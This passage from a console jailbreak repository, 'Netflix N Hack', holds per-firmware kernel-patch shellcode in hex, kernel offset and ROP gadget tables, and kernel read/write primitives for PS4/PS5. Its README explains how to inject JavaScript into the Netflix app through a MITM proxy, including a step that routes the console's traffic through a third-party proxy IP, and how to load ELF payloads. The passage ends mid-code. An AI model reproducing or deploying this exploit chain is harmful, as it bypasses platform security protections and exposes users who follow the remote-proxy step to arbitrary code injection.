"b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b9eb04000041ba90e9ffff4881c2ad580100668981e44a6200c681cd0a0000ebc6810d1c2000ebc681511c2000ebc681cd1c2000ebc681111d2000ebc681bd1e2000ebc6816d232000ebc6813d242000eb6689b1cf536200c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c68136a51f00eb664489893b6d19006644899124f71900c681dffe1900ebc781601901004831c0c3c6817a2d120037c6817d2d120037c78100950f010200000048899108950f01c7812c950f01010000000f20c0480d000001000f22c031c0c3", 10 | "10.00": "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b9eb04000041ba90e9ffff4881c2f166000066898164e86100c681cd0a0000ebc6816d2c4700ebc681b12c4700ebc6812d2d4700ebc681712d4700ebc6811d2f4700ebc681cd334700ebc6819d344700eb6689b14ff16100c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c68156772600eb664489897b20390066448991a4fa1800c6815f021900ebc78140ea1b004831c0c3c6819ad50e0037c6819dd50e0037c781a02f100102000000488991a82f1001c781cc2f1001010000000f20c0480d000001000f22c031c0c3", 11 | "10.50": "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb00000066898113302100b8eb04000041b9eb00000041baeb000000668981ecb2470041bbeb000000b890e9ffff4881c22d0c05006689b1233021006689b94330210066448981b47d6200c681cd0a0000ebc681bd720d00ebc68101730d00ebc6817d730d00ebc681c1730d00ebc6816d750d00ebc6811d7a0d00ebc681ed7a0d00eb664489899f866200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681c6c10800eb668981d42a2100c7818830210090e93c01c78160ab2d004831c0c3c6812ac4190037c6812dc4190037c781d02b100102000000488991d82b1001c781fc2b1001010000000f20c0480d000001000f22c031c0c3", 12 | "11.00": "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981334c1e00b8eb04000041b9eb00000041baeb000000668981ecc8350041bbeb000000b890e9ffff4881c2611807006689b1434c1e006689b9634c1e0066448981643f6200c681cd0a0000ebc6813ddd2d00ebc68181dd2d00ebc681fddd2d00ebc68141de2d00ebc681eddf2d00ebc6819de42d00ebc6816de52d00eb664489894f486200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c68126154300eb668981f4461e00c781a84c1e0090e93c01c781e08c08004831c0c3c6816a62150037c6816d62150037c781701910010200000048899178191001c7819c191001010000000f20c0480d000001000f22c031c0c3", 13 | "11.02": "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981534c1e00b8eb04000041b9eb00000041baeb0000006689810cc9350041bbeb000000b890e9ffff4881c2611807006689b1634c1e006689b9834c1e0066448981043f6200c681cd0a0000ebc6815ddd2d00ebc681a1dd2d00ebc6811dde2d00ebc68161de2d00ebc6810de02d00ebc681bde42d00ebc6818de52d00eb66448989ef476200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681b6144300eb66898114471e00c781c84c1e0090e93c01c781e08c08004831c0c3c6818a62150037c6818d62150037c781701910010200000048899178191001c7819c191001010000000f20c0480d000001000f22c031c0c3", 14 | "11.50": "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981a3761b00b8eb04000041b9eb00000041baeb000000668981acbe2f0041bbeb000000b890e9ffff4881c2150307006689b1b3761b006689b9d3761b0066448981b4786200c681cd0a0000ebc681edd22b00ebc68131d32b00ebc681add32b00ebc681f1d32b00ebc6819dd52b00ebc6814dda2b00ebc6811ddb2b00eb664489899f816200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681a6123900eb66898164711b00c78118771b0090e93c01c78120d63b004831c0c3c6813aa61f0037c6813da61f0037c781802d100102000000488991882d1001c781ac2d1001010000000f20c0480d000001000f22c031c0c3", 15 | "12.00": "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981a3761b00b8eb04000041b9eb00000041baeb000000668981ecc02f0041bbeb000000b890e9ffff4881c2717904006689b1b3761b006689b9d3761b0066448981f47a6200c681cd0a0000ebc681cdd32b00ebc68111d42b00ebc6818dd42b00ebc681d1d42b00ebc6817dd62b00ebc6812ddb2b00ebc681fddb2b00eb66448989df836200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681e6143900eb66898164711b00c78118771b0090e93c01c78160d83b004831c0c3c6811aa71f0037c6811da71f0037c781802d100102000000488991882d1001c781ac2d1001010000000f20c0480d000001000f22c031c0c3", 16 | }; 17 | 18 | // Mmap RWX patch offsets per firmware (for verification) 19 | // These are the offsets where 0x33 is patched to 0x37 20 | const kpatch_mmap_offsets = { 21 | "9.00": [0x156326a, 0x156326d], // TODO: verify 22 | "9.03": [0x156262a, 0x156262d], // TODO: verify 23 | "9.50": [0x122d7a, 0x122d7d], // TODO: verify 24 | "10.00": [0xed59a, 0xed59d], // TODO: verify 25 | "10.50": [0x19c42a, 0x19c42d], // TODO: verify 26 | "11.00": [0x15626a, 0x15626d], 27 | "11.02": [0x15628a, 0x15628d], 28 | "11.50": [0x1fa63a, 0x1fa63d], 29 | "12.00": [0x1fa71a, 0x1fa71d], 30 | }; 31 | 32 | function get_mmap_patch_offsets(fw_version) { 33 | // Normalize version 34 | let lookup = fw_version; 35 | if (fw_version === "9.04") lookup = "9.03"; 36 | else if (fw_version === "9.51" || fw_version === "9.60") lookup = "9.50"; 37 | else if (fw_version === "10.01") lookup = "10.00"; 38 | else if (fw_version === "10.70" || fw_version === "10.71") lookup = "10.50"; 39 | else if (fw_version === "11.52") lookup = "11.50"; 40 | else if (fw_version === "12.02") lookup = "12.00"; 41 | 42 | return kpatch_mmap_offsets[lookup] || null; 43 | } 44 | 45 | // Helper to convert hex string to byte array 46 | function hexToBytes(hex) { 47 | const bytes = []; 48 | for (let i = 0; i < hex.length; i += 2) { 49 | bytes.push(parseInt(hex.substr(i, 2), 16)); 50 | } 51 | return bytes; 52 | } 53 | 54 | // Get kernel patch shellcode for firmware version 55 | function get_kpatch_shellcode(fw_version) { 56 | // Normalize version for lookup 57 | let lookup_version = fw_version; 58 | 59 | // Map similar versions 60 | if (fw_version === "9.04") lookup_version = "9.03"; 61 | else if (fw_version === "9.51" || fw_version === "9.60") lookup_version = "9.50"; 62 | else if (fw_version === "10.01") lookup_version = "10.00"; 63 | else if (fw_version === "10.70" || fw_version === "10.71") lookup_version = "10.50"; 64 | else if (fw_version === "11.52") lookup_version = "11.50"; 65 | else if (fw_version === "12.02") lookup_version = "12.00"; 66 | 67 | const hex = kpatch_shellcode[lookup_version]; 68 | if (!hex) { 69 | return null; 70 | } 71 | return hexToBytes(hex); 72 | } 73 | 74 | // Firmware-specific offsets for PS4 75 | 76 | var offset_ps4_9_00 = { 77 | EVF_OFFSET: 0x7F6F27n, 78 | PRISON0: 0x111F870n, 79 | ROOTVNODE: 0x21EFF20n, 80 | TARGET_ID_OFFSET: 0x221688Dn, 81 | SYSENT_661: 0x1107F00n, 82 | JMP_RSI_GADGET: 0x4C7ADn, 83 | }; 84 | 85 | var offset_ps4_9_03 = { 86 | EVF_OFFSET: 0x7F4CE7n, 87 | PRISON0: 0x111B840n, 88 | ROOTVNODE: 0x21EBF20n, 89 | TARGET_ID_OFFSET: 0x221288Dn, 90 | SYSENT_661: 0x1103F00n, 91 | JMP_RSI_GADGET: 0x5325Bn, 92 | }; 93 | 94 | var offset_ps4_9_50 = { 95 | EVF_OFFSET: 0x769A88n, 96 | PRISON0: 0x11137D0n, 97 | ROOTVNODE: 0x21A6C30n, 98 | TARGET_ID_OFFSET: 0x221A40Dn, 99 | SYSENT_661: 0x1100EE0n, 100 | JMP_RSI_GADGET: 0x15A6Dn, 101 | }; 102 | 103 | var offset_ps4_10_00 = { 104 | EVF_OFFSET: 0x7B5133n, 105 | PRISON0: 0x111B8B0n, 106 | ROOTVNODE: 0x1B25BD0n, 107 | TARGET_ID_OFFSET: 0x1B9E08Dn, 108 | SYSENT_661: 0x110A980n, 109 | JMP_RSI_GADGET: 0x68B1n, 110 | }; 111 | 112 | var offset_ps4_10_50 = { 113 | EVF_OFFSET: 0x7A7B14n, 114 | PRISON0: 0x111B910n, 115 | ROOTVNODE: 0x1BF81F0n, 116 | TARGET_ID_OFFSET: 0x1BE460Dn, 117 | SYSENT_661: 0x110A5B0n, 118 | JMP_RSI_GADGET: 0x50DEDn, 119 | }; 120 | 121 | var offset_ps4_11_00 = { 122 | EVF_OFFSET: 0x7FC26Fn, 123 | PRISON0: 0x111F830n, 124 | ROOTVNODE: 0x2116640n, 125 | TARGET_ID_OFFSET: 0x221C60Dn, 126 | SYSENT_661: 0x1109350n, 127 | JMP_RSI_GADGET: 0x71A21n, 128 | }; 129 | 130 | var offset_ps4_11_02 = { 131 | EVF_OFFSET: 0x7FC22Fn, 132 | PRISON0: 0x111F830n, 133 | ROOTVNODE: 0x2116640n, 134 | TARGET_ID_OFFSET: 0x221C60Dn, 135 | SYSENT_661: 0x1109350n, 136 | JMP_RSI_GADGET: 0x71A21n, 137 | }; 138 | 139 | var offset_ps4_11_50 = { 140 | EVF_OFFSET: 0x784318n, 141 | PRISON0: 0x111FA18n, 142 | ROOTVNODE: 0x2136E90n, 143 | TARGET_ID_OFFSET: 0x21CC60Dn, 144 | SYSENT_661: 0x110A760n, 145 | JMP_RSI_GADGET: 0x704D5n, 146 | }; 147 | 148 | var offset_ps4_12_00 = { 149 | EVF_OFFSET: 0x784798n, 150 | PRISON0: 0x111FA18n, 151 | ROOTVNODE: 0x2136E90n, 152 | TARGET_ID_OFFSET: 0x21CC60Dn, 153 | SYSENT_661: 0x110A760n, 154 | JMP_RSI_GADGET: 0x47B31n, 155 | }; 156 | 157 | // Map firmware versions to offset objects 158 | var ps4_kernel_offset_list = { 159 | "9.00": offset_ps4_9_00, 160 | "9.03": offset_ps4_9_03, 161 | "9.04": offset_ps4_9_03, 162 | "9.50": offset_ps4_9_50, 163 | "9.51": offset_ps4_9_50, 164 | "9.60": offset_ps4_9_50, 165 | "10.00": offset_ps4_10_00, 166 | "10.01": offset_ps4_10_00, 167 | "10.50": offset_ps4_10_50, 168 | "10.70": offset_ps4_10_50, 169 | "10.71": offset_ps4_10_50, 170 | "11.00": offset_ps4_11_00, 171 | "11.02": offset_ps4_11_02, 172 | "11.50": offset_ps4_11_50, 173 | "11.52": offset_ps4_11_50, 174 | "12.00": offset_ps4_12_00, 175 | "12.02": offset_ps4_12_00, 176 | }; 177 | 178 | var kernel_offset = null; 179 | 180 | function get_kernel_offset(FW_VERSION) { 181 | const fw_offsets = ps4_kernel_offset_list[FW_VERSION]; 182 | 183 | if (!fw_offsets) { 184 | throw new Error("Unsupported PS4 firmware version: " + FW_VERSION); 185 | } 186 | 187 | kernel_offset = { ...fw_offsets }; 188 | 189 | // PS4-specific proc structure offsets 190 | kernel_offset.PROC_FD = 0x48n; 191 | kernel_offset.PROC_PID = 0xB0n; // PS4 = 0xB0, PS5 = 0xBC 192 | kernel_offset.PROC_VM_SPACE = 0x200n; 193 | kernel_offset.PROC_UCRED = 0x40n; 194 | kernel_offset.PROC_COMM = -1n; // Found dynamically 195 | kernel_offset.PROC_SYSENT = -1n; // Found dynamically 196 | 197 | // filedesc - PS4 different from PS5 198 | kernel_offset.FILEDESC_OFILES = 0x0n; // PS4 = 0x0, PS5 = 0x8 199 | kernel_offset.SIZEOF_OFILES = 0x8n; // PS4 = 0x8, PS5 = 0x30 200 | 201 | // vmspace structure 202 | kernel_offset.VMSPACE_VM_PMAP = -1n; 203 | 204 | // pmap structure 205 | kernel_offset.PMAP_CR3 = 0x28n; 206 | 207 | // socket/net - PS4 specific 208 | kernel_offset.SO_PCB = 0x18n; 209 | kernel_offset.INPCB_PKTOPTS = 0x118n; // PS4 = 0x118, PS5 = 0x120 210 | 211 | // pktopts structure - PS4 specific 212 | kernel_offset.IP6PO_TCLASS = 0xB0n; // PS4 = 0xB0, PS5 = 0xC0 213 | kernel_offset.IP6PO_RTHDR = 0x68n; // PS4 = 0x68, PS5 = 0x70 214 | 215 | return kernel_offset; 216 | } 217 | 218 | function find_proc_offsets() { 219 | const proc_data = kernel.read_buffer(kernel.addr.curproc, 0x1000); 220 | 221 | // Look for patterns to find dynamic offsets 222 | const p_comm_sign = find_pattern(proc_data, "ce fa ef be cc bb"); 223 | const p_sysent_sign = find_pattern(proc_data, "ff ff ff ff ff ff ff 7f"); 224 | 225 | if (p_comm_sign.length === 0) { 226 | throw new Error("failed to find offset for PROC_COMM"); 227 | } 228 | 229 | if (p_sysent_sign.length === 0) { 230 | throw new Error("failed to find offset for PROC_SYSENT"); 231 | } 232 | 233 | const p_comm_offset = BigInt(p_comm_sign[0] + 0x8); 234 | const p_sysent_offset = BigInt(p_sysent_sign[0] - 0x10); 235 | 236 | return { 237 | PROC_COMM: p_comm_offset, 238 | PROC_SYSENT: p_sysent_offset 239 | }; 240 | } 241 | 242 | function update_kernel_offsets() { 243 | const offsets = find_proc_offsets(); 244 | 245 | for (const [key, value] of Object.entries(offsets)) { 246 | kernel_offset[key] = value; 247 | } 248 | } 249 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Netflix 'N Hack 2 | 3 | 4 | 5 | Inject custom JavaScript into the Netflix PS5 error screen by intercepting Netflix's requests to localhost. 6 | 7 | PS5 firmware version: 4.03-12.XX 8 | 9 | Lowest working version: https://prosperopatches.com/PPSA01614?v=05.000.000 (Needs to be properly merged) 10 | 11 | **Recommended download link merged 6.00:** https://pkg-zone.com/details/PPSA01615 12 | 13 | > This project uses a local MITM proxy to inject and execute `inject.js` on the Netflix error page 14 | 15 | > [!IMPORTANT] 16 | > Jailbreaking or modifying your console falls outside the manufacturer’s intended use. 17 | Any execution of unsigned or custom code is performed **solely at your own risk**. 18 | > 19 | > By using this project, you acknowledge that: 20 | > 21 | > - You assume full responsibility for any damage, data loss, or system instability. 22 | > - The contributors and maintainers of this repository **cannot be held liable** for any issues arising from the use of this code or any related instructions. 23 | > - This project is provided **“as is”**, without warranty of any kind, express or implied. 24 | > 25 | > Proceed only if you understand and accept these risks. 26 | 27 | Having issues? Let me know on [Discord](https://discord.gg/QMGHzzW89V) 28 | --- 29 | # Instructions 30 | 31 | ### Extended Storage Setup 32 | 33 | > [!WARNING] 34 | > This will wipe your drive. 35 | 36 | **Disclaimer:** Only works on PS5s that have an activated account. Real PSN account or Fake activated via jailbreak. 37 | 38 | **Do not update your console to activate!** Use System backup method below 39 | 40 | ### Requirements for PS4 Version 41 | 42 | The PS4 version of Netflix requires a license. 43 | 44 | **You may have the license if:** 45 | 1. You have previously installed Netflix but deleted it. 46 | 2. You currently have the retail application installed and can run it without jailbreaking. (Not the one from homebrew store/pkg zone) 47 | 3. You have a real PSN account activated as primary. 48 | 49 | If you don't know if you have the license, you can still try flashing the extended storage image for your region (region relevant only for PS4) and testing to see if the Netflix app will work. If it stays locked, it means you don't have a license and you will not be able to use the jailbreak. 50 | 51 | **Requirements to flash the extended storage image:** 52 | 1. PS4 firmware 9.00-12.02 53 | 2. 256GB or larger (up to 8TB) USB drive / External HDD / External SSD 54 | 3. Must be USB 3.0 connection 55 | 56 | > [!TIP] 57 | > If you have a higher version application than the vulnerable 1.53 version, delete it and flash an extended storage image to a drive — it'll give you the 1.53 version. 58 | 59 | > [!NOTE] 60 | > Alternatively, if you can already jailbreak, instead of flashing an extended storage image you can install the retail version of Netflix and use it afterwards. **Still requires a license.** 61 | 62 | --- 63 | 64 | ### Extended Storage Drive Setup (PS4) 65 | 66 | > [!IMPORTANT] 67 | > Before plugging in the extended storage drive, delete the Netflix app from your PS4 if you have it installed. Then turn off the console, plug in the extended storage drive, and turn the console back on. 68 | 69 | #### Step 1: Download balenaEtcher 70 | - Download **balenaEtcher** for Windows, macOS, or Linux from: 71 | [https://etcher.balena.io](https://etcher.balena.io/#download-etcher) 72 | 73 | #### Step 2: Download the Image Archive 74 | - Download the **`.7z` archive** for your region from the [**Releases** section.](https://github.com/earthonion/Netflix-N-Hack/releases/tag/External-Drive) For PS4 the Images are Netflix_PS4_xx.7z ,US/EU/JP to indicate the region they are for. 75 | > [!NOTE] 76 | > Extended Storage does not require an exact capacity beyond the minimum of 256GB. Meaning that if your drive is 256GB you can use the image. If your drive is 500GB you can use the image. Or if it is 1TB you can use the image and etc up to 8TB. But if it is 250GB you cannot use the image.** 77 | - The `.7z` download size is roughly ~**95-200 MB** and around 400MB unpacked. 78 | 79 | #### Step 3: Extract the ZIP Image 80 | - Extract the downloaded `.7z` file. 81 | - Inside, you will see a `.zip` image file. 82 | 83 | #### Step 4: Write the Image with balenaEtcher 84 | 1. Connect your Drive to your computer (using a dock/enclosure or spare M.2 slot). 85 | 2. Open **balenaEtcher**. 86 | 3. Click **“Flash from file”** and select the extracted **`.zip`** image. 87 | 4. Click **“Select target”** and choose your Drive. 88 | 5. Click **“Flash!”** to start the process. 89 | 90 | > Etcher will appear stuck at **0%** for a while, then at **85-99%** for several minutes. 91 | > This is normal, let it finish without interruption! 92 | > If you encounter damaged image warnings, reboot your pc, redownload the image. 93 | 94 | #### Step 5: Moving the Netflix App to Internal Storage 95 | 1. Go to Settings -> Storage -> Extended Storage -> Applications -> [Press Options on controller] -> Move To System Storage 96 | 2. Press X on the Netflix App to tick and select it. 97 | 3. Go to "Move" and press X. 98 | 4. Press OK on the prompt to move the app to internal storage. It will then move to internal storage and be usable for the exploit. Accessible from the Media tab of the XMB. 99 | 100 | ### Extended Storage Drive Setup (PS5) 101 | 102 | > [!IMPORTANT] 103 | > While the console is off, plug in the extended storage drive, then turn the console on. 104 | 105 | #### Step 1: Download balenaEtcher 106 | - Download **balenaEtcher** for Windows, macOS, or Linux from: 107 | [https://etcher.balena.io](https://etcher.balena.io/#download-etcher) 108 | 109 | #### Step 2: Download the Image Archive 110 | - Download the **`.7z` archive** for your desired region from the [**Releases** section.](https://github.com/earthonion/Netflix-N-Hack/releases/tag/External-Drive) the PS5 Extended Storage Image is PS5_EU_Ext.7z 111 | - NOTE: ** Extended Storage does not require an exact capacity beyond the minimum of 256GB. Meaning that if your drive is 256GB you can use the image. If your drive is 500GB you can use the image. Or if it is 1TB you can use the image and etc up to 8TB. But if it is 250GB you cannot use the image.** 112 | - The `.7z` download size is roughly ~**95-300 MB** and around 500MB unpacked. 113 | 114 | #### Step 3: Extract the ZIP Image 115 | - Extract the downloaded `.7z` file. 116 | - Inside, you will see a `.zip` image file. 117 | 118 | #### Step 4: Write the Image with balenaEtcher 119 | 1. Connect your Drive to your computer (using a dock/enclosure or spare M.2 slot). 120 | 2. Open **balenaEtcher**. 121 | 3. Click **“Flash from file”** and select the extracted **`.zip`** image. 122 | 4. Click **“Select target”** and choose your Drive. 123 | 5. Click **“Flash!”** to start the process. 124 | 125 | > Etcher will appear stuck at **0%** for a while, then at **85-99%** for several minutes. 126 | > This is normal, let it finish without interruption! 127 | > If you encounter damaged image warnings, reboot your pc, redownload the image. 128 | 129 | #### Step 5: Moving the Netflix App to Internal Storage 130 | 1. Go to Settings>Storage>USB Extended Storage>Games and Apps 131 | 2. Press X to select the Netflix app. 132 | 3. Go to "Select Items to Move" and press X. 133 | 4. The Netflix app should be selected now go to "Move" and press X 134 | 5. Press OK on the prompt to move the app to internal storage. It will then move to internal storage and be usable for the exploit. Accessible from the Media tab of the XMB. 135 | 136 | 137 | ### M.2 Drive Setup (PCIe Gen 4 NVMe for PS5) 138 | 139 | #### Step 1: Download balenaEtcher 140 | - Download **balenaEtcher** for Windows, macOS, or Linux from: 141 | [https://etcher.balena.io](https://etcher.balena.io/#download-etcher) 142 | 143 | #### Step 2: Download the Image Archive 144 | - Download the **`.7z` archive** for your desired capacity from the [**Releases** section.](https://github.com/earthonion/netflix-n-hack/releases) 145 | - NOTE: **Exact capacity matters for M.2 Images only** - not all 1TB drives are 1000GB: some are 1024GB, same with 2000/2048, 4000/4096; choose carefully! 146 | - The `.7z` download size is roughly ~**95-200 MB**. Unpacked files range from ~**95100MB-4GB**. 147 | 148 | #### Step 3: Extract the ZIP Image 149 | - Extract the downloaded `.7z` file. 150 | - Inside, you will see a `.zip` image file, with size depending on the target SSD: 151 | 152 | 153 | - **256 GB image:** ~**380 MB** `.zip` 154 | - **500 GB image:** ~**670 MB** `.zip` 155 | - **1 TB image:** ~**1.2 GB** `.zip` 156 | - **2 TB image:** ~**2.3 GB** `.zip` 157 | - **4 TB image:** ~**3.9 GB** `.zip` 158 | 159 | **This `.zip` is what you will flash with balenaEtcher.** 160 | 161 | > **Note:** When you load this image in balenaEtcher, you may see a 162 | > `Missing partition table` warning. This is expected for encrypted PS5 drives. 163 | > It is safe to click **Continue**. 164 | 165 | 166 | #### Step 4: Write the Image with balenaEtcher 167 | 1. Connect your **M.2 SSD (PCIe Gen 4 NVMe)** to your computer (using a dock/enclosure or spare M.2 slot). 168 | 2. Open **balenaEtcher**. 169 | 3. Click **“Flash from file”** and select the extracted **`.zip`** image for your chosen capacity. 170 | 4. Click **“Select target”** and choose your **M.2 SSD**. 171 | 5. Click **“Flash!”** to start the process. 172 | 173 | > Approximate flashing times (varies depending on M.2 dock/enclosure speed and your CPU): 174 | > - **256 GB image:** ~**10 minutes** 175 | > - **500 GB image:** ~**15 minutes** 176 | > - **1 TB image:** ~**25 minutes** 177 | > - **2 TB image:** ~**45 minutes** 178 | > - **4 TB image:** ~**80 minutes** 179 | > 180 | > Etcher will appear stuck at **0%** for a while, then at **85-99%** for several minutes. 181 | > This is normal, let it finish without interruption! 182 | > If you encounter damaged image warnings, reboot your pc, redownload the image or use a different enclosure/motherboard slot for the m.2 SSD. 183 | 184 | #### Step 5: Install the M.2 Drive in the PS5 185 | - Power off the PS5 completely. 186 | - Install the imaged **M.2 SSD** into the PS5’s internal M.2 slot. 187 | - Power the PS5 back on; the console should now see the preinstalled Netflix app, viewable under `Storage` settings. 188 | - Move app from the M.2 to console storage, then reformat the M.2 drive in under `Storage` settings to safely continue using it. 189 | 190 | #### Step 6: Move the Netflix App to Internal Storage 191 | 192 | --- 193 | 194 | ### System Backup Restore 195 | 196 | > [!WARNING] 197 | > This will wipe all existing games and saves from your PS5! 198 | 199 | #### Step 1: Prepare the Backup USB 200 | 1. Format a USB drive as **exFAT** or **FAT32**. 201 | 2. Unzip the **system backup** onto the formatted USB drive. 202 | 203 | #### Step 2: Restore the System 204 | Follow Sony’s official guide to restore your PS5 system from the USB: 205 | [https://www.playstation.com/en-us/support/hardware/back-up-ps5-data-USB/](https://www.playstation.com/en-us/support/hardware/back-up-ps5-data-USB/) 206 | 207 | 208 | # Safe Internet Connection Setup for Netflix 209 | 210 | ## Step 1: Open Network Settings 211 | 1. On your console, go to: 212 | **Settings > Network > Settings > Set Up Internet Connection** 213 | 214 | 2. Scroll to the bottom and select: 215 | **Set Up Manually** 216 | 217 | --- 218 | 219 | ## Step 2: Choose Connection Type 220 | - **Wi-Fi:** Select **Use Wi-Fi** 221 | - **LAN Cable:** Select **Use a LAN Cable** 222 | 223 | If using **Wi-Fi**: 224 | 1. Choose **Enter Manually**. 225 | 2. Enter your SSID **Wi-Fi network name**. 226 | 2. Set **Security Method** to **WPA-Personal/WPA2..** (or similar). 227 | 3. Enter your ***Wi-Fi network password**. 228 | 229 | --- 230 | 231 | ## Step 3: Configure Proxy Settings 232 | For either **Wi-Fi** or **LAN**, continue the setup: 233 | 234 | 1. Scroll to the **Proxy** setting. 235 | 2. Change it from **Automatic** to **Manual**. 236 | 3. Enter the following details: 237 | 238 | - **Address:** `172.105.156.37` 239 | - **Port:** `42069` 240 | 241 | 4. Press **Done** to save your settings. 242 | 243 | --- 244 | 245 | ## Step 4: Finalize and Connect 246 | - Wait for the console to attempt a connection. 247 | - You may see **Can't connect to the internet** — this is expected and can be ignored after pressing OK. 248 | - The connection will still function normally. 249 | 250 | You can now open **Netflix** safely. 251 | 252 | 253 | 254 | --- 255 | # How to run proxy locally 256 | 257 | ## Requirements 258 | 259 | - Python (for `mitmproxy`) 260 | - `mitmproxy` (`pip install mitmproxy`) 261 | 262 | --- 263 | 264 | ## Installation & Usage 265 | 266 | ```bash 267 | # install mitmproxy 268 | pip install mitmproxy 269 | 270 | # clone repository 271 | git clone https://github.com/earthonion/Netflix-N-Hack/ 272 | cd Netflix-N-Hack 273 | 274 | # run mitmproxy with the provided script 275 | mitmproxy -s proxy.py 276 | 277 | ``` 278 | 279 | Current script will trigger after the WebSocket for remote logging is initiated. 280 | 281 | ```bash 282 | # install websockets 283 | pip install websockets 284 | 285 | # Generate Keys 286 | openssl req -x509 -newkey rsa:4096 -nodes -keyout key.pem -out cert.pem -days 365 -subj "/CN=localhost" 287 | 288 | # run WebSocket server 289 | python ws.py 290 | 291 | ``` 292 | 293 | ### Network / Proxy Setup 294 | 295 | On your PS5: 296 | 297 | 1. Go to Settings > Network > Settings > Set Up Internet Connection. 298 | 299 | 2. Scroll to the bottom and select Set Up Manually. 300 | 301 | 3. Choose Connection Type **Use Wi-Fi** or **Use a LAN Cable** 302 | If using **Wi-Fi**: 303 | Choose **Enter Manually**, Enter your SSID **Wi-Fi network name**. Set **Security Method** to **WPA-Personal/WPA2..** (or similar) then Enter your ***Wi-Fi network password**. 304 | 305 | 4. Use Automatic for DNS Settings and MTU Settings. 306 | 307 | 5. At Proxy Server, choose Use and enter: 308 | 309 | - IP address: \ 310 | 311 | - Port: 8080 312 | 313 | 6. Press Done and wait for the connection to establish 314 | - You may see **Can't connect to the internet** — this is expected and can be ignored after pressing OK. 315 | 316 | 7. Edit inject.js and inject_elfldr_automated.js: 317 | 318 | ``` 319 | const ip_script = "10.0.0.2"; // IP address of computer running mitmproxy. 320 | const ip_script_port = 8080; //port which mitmproxy is running on 321 | 322 | ``` 323 | 324 | > Make sure your PC running mitmproxy is on the same network and reachable at the IP you entered. 325 | 326 | ### Open Netflix and wait. 327 | 328 | 329 | > [!NOTE] 330 | If you see elfldr listening on port 9021 you can send your elf payload. 331 | 332 | ### if it fails reboot and try again 333 | 334 | ### Troubleshooting 335 | - If the Netflix application crashes shortly after opening it, reopen it to retry. 336 | - If you see a green text error "Exception" press X or O to retry. 337 | - If Lapse fails you will see a notification telling you to reboot the console, you must reboot to retry. 338 | 339 | 340 | 341 | --- 342 | 343 | ### Credits 344 | - [c0w-ar](https://github.com/c0w-ar/) for complete inject.js userland exploit and lapse port from Y2JB! 345 | - [ufm42](https://github.com/ufm42) for regex sandbox escape exploit and ideas! 346 | - [autechre](https://github.com/autechre-warp) for the idea! 347 | - [Dr.Yenyen](https://github.com/DrYenyen) for testing and coordinating system back up, M.2 Drives, Extended Storage, making PS5 Extended storage Image and much more help! 348 | - [Gezine](https://github.com/gezine) for help with exploit/Y2JB for reference and original lapse.js! 349 | - Rush for creating system backup, 256GB and 2TB M.2 Images, PS4 Extended Storage Images and hours of testing!! 350 | - [Jester](https://github.com/god-jester) for testing 2TB and devising easiest imaging method, and gathering all images for m.2! 351 | - [TeRex777](https://x.com/TeRex777_) for PS5 App Extended Storage method. 352 | -------------------------------------------------------------------------------- /PS4/payloads/lapse/kernel.js: -------------------------------------------------------------------------------- 1 | // PS4 Kernel Read/Write primitives 2 | // Ported from PS5 version - adjusted for PS4 structure offsets 3 | 4 | var kernel = { 5 | addr: {}, 6 | copyout: null, 7 | copyin: null, 8 | read_buffer: null, 9 | write_buffer: null 10 | }; 11 | 12 | kernel.read_byte = function(kaddr) { 13 | const value = kernel.read_buffer(kaddr, 1); 14 | return value && value.length === 1 ? BigInt(value[0]) : null; 15 | }; 16 | 17 | kernel.read_word = function(kaddr) { 18 | const value = kernel.read_buffer(kaddr, 2); 19 | if (!value || value.length !== 2) return null; 20 | return BigInt(value[0]) | (BigInt(value[1]) << 8n); 21 | }; 22 | 23 | kernel.read_dword = function(kaddr) { 24 | const value = kernel.read_buffer(kaddr, 4); 25 | if (!value || value.length !== 4) return null; 26 | let result = 0n; 27 | for (let i = 0; i < 4; i++) { 28 | result |= (BigInt(value[i]) << BigInt(i * 8)); 29 | } 30 | return result; 31 | }; 32 | 33 | kernel.read_qword = function(kaddr) { 34 | const value = kernel.read_buffer(kaddr, 8); 35 | if (!value || value.length !== 8) return null; 36 | let result = 0n; 37 | for (let i = 0; i < 8; i++) { 38 | result |= (BigInt(value[i]) << BigInt(i * 8)); 39 | } 40 | return result; 41 | }; 42 | 43 | kernel.read_null_terminated_string = function(kaddr) { 44 | let result = ""; 45 | 46 | while (true) { 47 | const chunk = kernel.read_buffer(kaddr, 0x8); 48 | if (!chunk || chunk.length === 0) break; 49 | 50 | let null_pos = -1; 51 | for (let i = 0; i < chunk.length; i++) { 52 | if (chunk[i] === 0) { 53 | null_pos = i; 54 | break; 55 | } 56 | } 57 | 58 | if (null_pos >= 0) { 59 | if (null_pos > 0) { 60 | for(let i = 0; i < null_pos; i++) { 61 | result += String.fromCharCode(Number(chunk[i])); 62 | } 63 | } 64 | return result; 65 | } 66 | 67 | for(let i = 0; i < chunk.length; i++) { 68 | result += String.fromCharCode(Number(chunk[i])); 69 | } 70 | 71 | kaddr = kaddr + BigInt(chunk.length); 72 | } 73 | 74 | return result; 75 | }; 76 | 77 | kernel.write_byte = function(dest, value) { 78 | const buf = new Uint8Array(1); 79 | buf[0] = Number(value & 0xFFn); 80 | kernel.write_buffer(dest, buf); 81 | }; 82 | 83 | kernel.write_word = function(dest, value) { 84 | const buf = new 